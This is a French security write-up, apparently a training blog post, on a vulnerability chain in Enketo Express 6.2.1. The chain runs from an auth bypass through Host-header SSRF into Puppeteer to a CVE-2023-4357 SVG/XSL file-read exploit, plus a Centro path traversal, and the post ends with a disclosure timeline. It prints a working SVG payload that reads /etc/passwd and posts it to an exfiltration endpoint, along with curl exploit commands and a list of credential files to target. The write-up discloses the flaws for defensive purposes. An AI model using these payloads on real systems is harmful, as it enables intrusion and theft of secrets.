Introduction
Article original : OffenSkill - Enketo 6.2.1 - Auth-Bypass, SSRF, and XXE Browser Abuse to File Read
Cette session de formation était axée sur la revue de code en boîte blanche, l’application et l’introspection runtime du système.
Nous voulions travailler sur un framework backend JavaScript et Enketo Express semblait être un bon candidat.
Le code source est disponible sur GitHub - enketo/enketo-express et la version que nous avons évaluée était la version 6.2.1, construite avec les Dockerfiles officiels.
Enketo est un logiciel multiplateforme utilisé pour (citation) :
Deploy and conduct surveys that work without a connection, on any device.
Cet article décrit une chaîne de vulnérabilités pouvant être utilisée pour réaliser une lecture arbitraire de fichiers non authentifiée basée sur ce lab enketo spécifique.
Mécanisme de contournement d’authentification
Emplacement : app/models/account-model.js:44-49
Le mécanisme d’authentification peut être contourné grâce à un pattern codé en dur qui permet à des URLs de serveur spécifiques de s’authentifier avec des identifiants prédéterminés à des fins de test et de démonstration.
Mécanisme de la vulnérabilité
La fonction get() analyse le paramètre server_url pour toute requête GET vers n’importe quel endpoint et choisit un schéma d’authentification différent en fonction de sa valeur :
function get(survey) {
let error;
const server = _getServer(survey);
(...)
if (/https?:\/\/testserver.com\/bob/.test(server)) {
return Promise.resolve({
linkedServer: server,
key: 'abc',
quota: 100,
});
}
(...)
}
L’expression régulière /https?:\/\/testserver.com\/bob/ correspond à toute URL contenant le pattern https://testserver.com/bob ou http://testserver.com/bob. Lorsqu’il y a correspondance, le système fournit automatiquement une authentification basique avec le nom d’utilisateur codé en dur 'abc' et n’importe quel mot de passe.
Exploitation
Un attaquant peut contourner l’authentification en définissant le paramètre server_url avec n’importe quelle valeur correspondant au pattern :
GET /any/endpoint?server_url=https://testserver.com/bob HTTP/1.1
Cela déclenche la réponse d’authentification codée en dur sans nécessiter d’identifiants valides.

Impact
- Contournement complet de l’authentification pour tous les endpoints acceptant le paramètre
server_url - Aucun identifiant réel requis - uniquement une correspondance de pattern sur une entrée contrôlable
- Permet un accès non authentifié aux fonctionnalités protégées (quota limité)
Lorsqu’il y a correspondance, le système fournit automatiquement une authentification basique avec le nom d’utilisateur codé en dur 'abc' et n’importe quel mot de passe. Cela contourne entièrement le flux d’authentification normal.
Bien que cela ne donne pas un accès direct à des données sensibles, cela étend considérablement la surface d’attaque de l’application.
Server-Side Request Forgery (SSRF)
Emplacement : app/controllers/api-v2-controller.js:596-599, app/controllers/api-v2-controller.js:736
L’application contient une vulnérabilité de type Server-Side Request Forgery via l’endpoint de génération PDF par navigateur. Elle permet aux attaquants d’abuser de cette fonctionnalité pour forcer le serveur à effectuer des requêtes HTTP vers des destinations arbitraires, y compris internes.
Pourquoi le rendu PDF existe dans Enketo
Enketo est un moteur de rendu de formulaires web pour XForms (standard OpenRosa), principalement utilisé par des organisations humanitaires et des plateformes d’enquêtes comme KoboToolbox et ODK Central. La fonctionnalité de génération PDF répond à des besoins métier critiques :
- Conservation hors ligne : Les organisations ont besoin de sauvegardes papier des formulaires numériques à des fins d’archivage et d’accès hors ligne
- Conformité réglementaire : De nombreux secteurs (santé, aide humanitaire) exigent une documentation physique pour les audits
- Opérations terrain : Les travailleurs dans des zones à faible connectivité ont besoin de formulaires imprimables comme solution de repli lorsque les systèmes numériques échouent
- Documentation officielle : Les enquêtes complétées doivent souvent être imprimées avec un en-tête officiel à des fins juridiques/administratives
- Partage de données : Les PDF fournissent un format universel pour partager les résultats d’enquêtes avec des parties prenantes non techniques
Mécanisme de la vulnérabilité
La vulnérabilité SSRF existe dans la fonction _generateWebformUrls() qui construit des URLs pour le rendu PDF en utilisant directement l’en-tête Host non fiable :
const protocol = req.protocol;
const baseUrl = `${protocol}://${req.headers.host}${req.app.get('base path')}/`;
La valeur de req.headers.host est entièrement contrôlée par l’attaquant et est utilisée sans validation pour construire l’URL vers laquelle Puppeteer naviguera :
function _renderPdf(status, id, req, res) {
const url = _generateWebformUrls(id, req).pdf_url;
// This URL contains the attacker-controlled Host header
Cette URL construite est ensuite transmise à l’instance Chrome headless de Puppeteer, qui navigue vers le domaine contrôlé par l’attaquant.
Exploitation
Étape 1 : L’attaquant envoie une requête avec un en-tête Host malveillant
POST /api/v2/survey/view/pdf HTTP/1.1
Host: evil.attacker.com
Authorization: Basic YWJjOg==
Content-Type: application/json
{
"server_url": "https://testserver.com/bob",
"form_id": "malicious_form"
}
Étape 2 : Construction de l’URL avec le Host de l’attaquant
// req.headers.host = "evil.attacker.com" (attacker-controlled)
const baseUrl = `${protocol}://${req.headers.host}${req.app.get('base path')}/`;
// Results in: "https://evil.attacker.com/"
// Final pdf_url construction (around line 680-688)
obj.pdf_url = `${baseUrl}${iframePart}${idPartView}${queryString}`;
// Results in: "https://evil.attacker.com/::abcd1234::?print=true"
Étape 3 : Puppeteer navigue vers le domaine de l’attaquant
await page.goto(urlObj.href, { waitUntil: 'networkidle0', timeout })
// Puppeteer navigates to: https://evil.attacker.com/::abcd1234::?print=true
Impact
- L’attaquant peut forcer l’instance Puppeteer du serveur à naviguer vers des URLs arbitraires
- Permet l’exfiltration de données côté serveur via des endpoints contrôlés
- Contourne les restrictions réseau en utilisant l’application comme proxy
- Peut être chaîné avec la vulnérabilité XXE pour une lecture arbitraire de fichiers
Vulnérabilité XXE dans le rendu PDF (CVE-2023-4357)
Emplacement : app/lib/pdf.js:38-118
Bibliothèque : Puppeteer v13.7.0 (navigateur headless basé sur Chromium)
L’application utilise Puppeteer (v13.7.0), une bibliothèque Node.js qui contrôle un navigateur Chromium headless, pour le rendu PDF. La version de Chromium embarquée est vulnérable à CVE-2023-4357, une vulnérabilité XXE (XML External Entity) qui permet la lecture arbitraire de fichiers locaux via des documents SVG spécialement conçus.
Mécanisme de la vulnérabilité
La fonctionnalité de rendu PDF est implémentée en utilisant l’API page.pdf() de Puppeteer :
const puppeteer = require('puppeteer');
async function get(url, options = {}) {
// Launch headless Chrome with relaxed sandbox (security concern)
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox'] // Disables Chrome's sandbox isolation
});
const page = await browser.newPage();
// Load the Enketo form webpage
await page.goto(urlObj.href, {
waitUntil: 'networkidle0', // Wait for all network requests
timeout: 60000 // 60-second timeout from config
});
// Canvas-to-image conversion workaround for Chromium bug
await page.evaluate(() => {
document.querySelectorAll('canvas').forEach(canvasToImage);
});
// Generate PDF from rendered page
pdf = await page.pdf({
landscape: options.landscape,
format: options.format, // A4, Letter, Legal, etc.
margin: options.margin, // Default: 0.5in
printBackground: true,
timeout: 60000
});
return pdf;
}
Chemin d’invocation :
- Requête API vers
/api/v2/survey/view/pdf?server_url=X&form_id=Y - Le contrôleur
app/controllers/api-v2-controller.js#L735-L757appelle_renderPdf() - Génère l’URL du formulaire web avec le paramètre
?print=true - Appelle
pdf.get(url, req.page)pour le rendu via Puppeteer - Retourne le buffer PDF en réponse
application/pdf
Faiblesses de sécurité :
- Le flag
--no-sandboxdésactive l’isolation de processus de Chromium - Puppeteer v13.7.0 embarque Chromium 100.x, vulnérable à CVE-2023-4357
- La vulnérabilité existe dans le parseur XML de Chromium utilisé pour le rendu des images SVG
Exploitation
Un attaquant peut créer et servir un fichier SVG malveillant qui exploite la vulnérabilité XXE :
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE p [
<!ENTITY leaked SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')" />
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p id="pouet">File: &leaked;</p>
</div>
<div style="width:40rem" id="r" />
<script>
const url = "http://172.17.0.1:8000/exfil"
setTimeout(() => {
fetch(url, { method: "POST", body: "pre-trigger"})
}, 50)
setTimeout(() => {
fetch(url, { method: "POST", body: document.querySelector('#pouet').innerHTML})
}, 100)
</script>
</body>
</xsl:template>
</xsl:stylesheet>
Lalu : J’ai travaillé sur cet exploit one-shot de CVE-2023-4357 intégré dans un seul fichier SVG fin 2023 mais je ne l’ai jamais publié, profitez-en !
Flux d’attaque :
- Déclaration d’entité externe :
<!ENTITY leaked SYSTEM "file:///etc/passwd">définit une entité XML externe référençant un fichier local - Résolution d’entité : Chromium traite le SVG pendant
page.goto()et résout l’entité externe, lisant/etc/passwd - Injection de contenu : La référence
&leaked;injecte le contenu du fichier dans le document rendu - Rendu masqué : Le contenu du fichier est placé dans un
<div style="display:none">masqué pour empêcher la détection visuelle - Exfiltration de données : Le JavaScript extrait le contenu du fichier depuis le DOM et l’envoie via HTTP POST au serveur de l’attaquant
http://172.17.0.1:8000/exfil - Synchronisation temporelle : Les fonctions
setTimeout()assurent un rendu DOM correct avant l’exfiltration - Génération PDF :
page.pdf()génère le PDF (qui peut paraître normal pour éviter les soupçons)
Impact
- Lecture arbitraire de tout fichier accessible au processus Chromium
- Les cibles courantes incluent :
/etc/passwd,/etc/shadow(utilisateurs système)/proc/self/environ(variables d’environnement contenant des secrets)~/.ssh/id_rsa,~/.aws/credentials(clés d’authentification)/app/config/config.json(configuration Enketo avec identifiants de base de données)/app/.env(secrets d’environnement si présent)- Chaînes de connexion Redis depuis l’environnement
- Les données exfiltrées sont transmises à l’infrastructure contrôlée par l’attaquant
- Aucun mécanisme de limitation de débit ou de détection n’existe pour l’endpoint PDF
Centro (serveur conforme Rosa) et lecture arbitraire de fichiers
Dans notre lab, Centro (un serveur rosa de test) était présent (comme suggéré par la documentation) et pouvait être utilisé pour tester des fonctionnalités spécifiques. Seul un petit sous-ensemble des fonctionnalités et du stockage ROSA était exposé, mais en discutant avec Guilhem (oui, on a ramené des amis !), il a découvert qu’un problème trivial de lecture de fichiers était également présent.
Voici la partie Centro de notre lab :
services:
centro:
image: node:20.15.1-slim
ports:
- 127.0.0.1:3000:3000
working_dir: /app
volumes:
- ../../centro:/app
command: bash -c "npm install; grunt; npm start"
Emplacement : app/lib/media.js:28-45 et app/controllers/media-controller.js:23
L’endpoint de service de médias est vulnérable aux attaques de path traversal, permettant aux attaquants de lire des fichiers arbitraires depuis le système de fichiers du serveur en manipulant le chemin de fichier dans l’URL.
Mécanisme de la vulnérabilité
La route /form/*/media/ traite les chemins de fichiers sans assainissement approprié. Le code vulnérable utilise une expression régulière pour extraire le nom de fichier depuis l’URL :
const matchMediaURLSegments = (requestPath) => {
const matches = requestPath.match(
/^\/get\/([01])\/([^/]+)(?:\/([^/]+))?\/(.+$)/
);
if (matches != null) {
const [, resourceType, resourceId, hash, fileName] = matches;
return {
resourceType,
resourceId,
fileName,
hash,
};
}
};
Le pattern regex (.+$) capture tout ce qui suit le dernier / comme fileName sans valider ni assainir les séquences de path traversal comme ../ ou les variantes encodées en URL comme %2E%2E%2F.
Le nom de fichier extrait est ensuite utilisé directement pour rechercher les fichiers :
const getHostURL = async (options) => {
const mediaURLSegments = matchMediaURLSegments(requestPath);
const { fileName, resourceId, resourceType } = mediaURLSegments;
if (resourceType === ResourceType.INSTANCE) {
const instanceAttachments = await getInstanceAttachments(resourceId);
return instanceAttachments[fileName]; // Direct lookup with unsanitized fileName
}
(...)
}
Exploitation
Un attaquant peut lire des fichiers arbitraires en incluant des séquences de path traversal dans l’URL média. Le flag --path-as-is dans curl empêche la normalisation du chemin :
curl --path-as-is -iks 'http://localhost:3000/form/1/media/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd'
Décomposition du payload :
%2E%2E%2F=../encodé en URL%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F=../../../../- Chemin final décodé :
../../../../etc/passwd
Cela contourne les restrictions d’accès aux fichiers prévues par l’application et permet de lire des fichiers système en dehors du répertoire média.
Impact
- Lecture arbitraire de fichiers : Accès à tout fichier lisible par le processus de l’application
- Divulgation d’informations : Exposition de fichiers de configuration sensibles, d’identifiants, de code source et de fichiers système
- Aucune authentification requise : La vulnérabilité peut être exploitée sans identifiants valides
- Accès inter-instances : Possibilité d’accéder aux pièces jointes d’autres instances de formulaires
Les fichiers critiques pouvant être compromis incluent :
/proc/self/environ- Variables d’environnement du processus courant- Fichiers de configuration de l’application contenant des identifiants de base de données
- Fichiers de code source contenant la logique métier et des vulnérabilités potentielles
Chaîne complète
Toutes les vulnérabilités trouvées pendant la formation pouvaient être chaînées ensemble pour réaliser une lecture arbitraire de fichiers :

Résumé de la chaîne complète :
- Obtenir un accès non autorisé grâce au Broken Access Control
- Exploiter le SSRF pour forcer le navigateur embarqué de l’application à effectuer un GET sur une page de leur serveur et la convertir en PDF
- Héberger un fichier SVG malveillant sur cette page spécifique pour exploiter CVE-2023-4357 (Chrome-lfr-xxe-xsl) et insérer n’importe quel fichier local dans la page rendue
- Récupérer le PDF avec le contenu du fichier lu et l’exfiltrer via le payload JavaScript du SVG

La chaîne complète peut être réalisée en 2 étapes techniques :
- Héberger le SVG suivant sur un serveur qui le sert en tant que SVG quel que soit l’endpoint demandé :
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE p [
<!ENTITY leaked SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')" />
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p id="pouet">File: &leaked;</p>
</div>
<div style="width:40rem" id="r" />
<script>
const url = "http://172.17.0.1:8000/exfil"
setTimeout(() => {
fetch(url, { method: "POST", body: "pre-trigger"})
}, 50)
setTimeout(() => {
fetch(url, { method: "POST", body: document.querySelector('#pouet').innerHTML})
}, 100)
</script>
</body>
</xsl:template>
</xsl:stylesheet>
- Exécuter la commande curl suivante :
curl -u abc: "http://<ENKETO_SERVER_URL>/api/v2/survey/view/pdf?server_url=https://testserver.com/bob&form_id=widgets&instance=foo&instance_id=111" -H 'Host: <ATTACKER_DOMAIN>'
Timeline
- 2024/11/24: Formation OffenSkill, on casse des trucs
- 2024/12/03: Une PR refond l’authentification
- 2025/11/06: Nous partageons les détails des vulnérabilités avec ODK/Enketo pour un renforcement approfondi
- 2025/11/06: Y.A. confirme qu’ils vont investiguer, confirme que les problèmes n’affectent pas ODK, transmet aux mainteneurs d’Enketo
- 2025/11/10: Nous revérifions le dernier code, la plupart des problèmes sont toujours présents, envoi d’une mise à jour
- 2025/11/13: “Qui maintient réellement Enketo ?” – un voyage philosophique commence
- 2025/11/13: Il s’avère qu’Enketo n’est plus un projet autonome. Rebondissement
- 2025/11/21: Toujours pas de nouvelles de Kobo. On relance gentiment
- 2025/11/22: Y.A. nous propose gentiment du travail gratuit au lieu d’un bug bounty
- 2025/11/25: J.M. de Kobo entre dans le chat. Enfin, le bon PNJ
- 2025/11/26: On renvoie tout. La troisième fois sera la bonne
- 2025/12/02: K.K. examine les trouvailles : un correctif, deux wontfix, un “c’est une feature”
- 2025/12/05: Nous exprimons respectueusement notre désaccord. Le SSRF nous a donné des shells sur des ONG mais bien sûr, “pas un problème”
- 2025/12/10: K.K. accepte de corriger la lecture de fichiers Centro avant le 6 février. Les autres restent wontfix
- 2026/02/06: 3 mois écoulés, divulgation publique
Credits : Training lvl-30 | 2024 November
Attendees:
- Rodolphe G / RORO!
- Alexis Marquois / Skilo
- Nicolas Florent / @Nitiflor
- Fadi Obeid
- jrjgjk (Nous a rejoint pour de la R&D entre amis)

Rejoignez les prochaines formations en sécurité web chez Offenskill